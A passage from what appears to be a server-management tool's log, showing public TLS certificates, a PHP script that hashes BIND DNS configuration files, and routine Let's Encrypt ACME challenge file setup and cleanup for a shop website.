6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-06-17 14:32:16: Establishing a connection
2026-06-17 14:32:35: Establishing a connection
2026-06-17 14:32:35: 

PUT: /tmp/pkp441564

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-17 14:32:35: 

runuser -l bind -s /bin/bash -c '/tmp/pkp441564; rm /tmp/pkp441564'

2026-06-17 14:32:35: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-17 14:32:43: Establishing a connection
2026-06-17 14:32:43: Establishing a connection
2026-06-17 14:32:43: 

PUT: /tmp/pkp334464

#!/bin/bash
if [ -d "/var/www/patientapps_shop/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-17 14:32:43: 

chmod 755 /tmp/pkp334464; /tmp/pkp334464; rm /tmp/pkp334464

2026-06-17 14:32:43: 


1


2026-06-17 14:32:45: Establishing a connection
2026-06-17 14:32:45: 

PUT: /tmp/pkp787127

#!/bin/bash
mkdir -p "/var/www/patientapps_shop/.well-known/acme-challenge/"
cd "/var/www/patientapps_shop/.well-known/acme-challenge/"
cat > uJRsUW-cDVAfsxFk3i1w4aBDqlDm_LzbIc8KtPwk-zU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
uJRsUW-cDVAfsxFk3i1w4aBDqlDm_LzbIc8KtPwk-zU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 uJRsUW-cDVAfsxFk3i1w4aBDqlDm_LzbIc8KtPwk-zU


2026-06-17 14:32:45: 

chmod 755 /tmp/pkp787127; /tmp/pkp787127; rm /tmp/pkp787127

2026-06-17 14:32:45: 




2026-06-17 14:32:51: Establishing a connection
2026-06-17 14:32:51: 

PUT: /tmp/pkp481167

#!/bin/bash
mkdir -p "/var/www/patientapps_shop/.well-known/acme-challenge/"
cd "/var/www/patientapps_shop/.well-known/acme-challenge/"
rm uJRsUW-cDVAfsxFk3i1w4aBDqlDm_LzbIc8KtPwk-zU


2026-06-17 14:32:51: 

chmod 755 /tmp/pkp481167; /tmp/pkp481167; rm /tmp/pkp481167

2026-06-17 14:32:51: 




2026-06-17 14:32:51: Establishing a connection
2026-06-17 14:32:51: 

PUT: /tmp/pkp471419

#!/bin/bash
temp_file=$(mktemp)
TARGET=d18ebcef2c53b2fff4c3f6f80595db99

cat > $temp_file <<'endmsg'
c4:05:08:67:2e:17:a9:5a:3b:38:fe:95:0c:43:6f:ff

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBp1hrtPc0rc4oCbw2U9A6/x0MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjE3MTMzNDE4WhcNMjYwOTE1MTMzNDE3WjAeMRwwGgYDVQQD
ExNzaG9wLnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
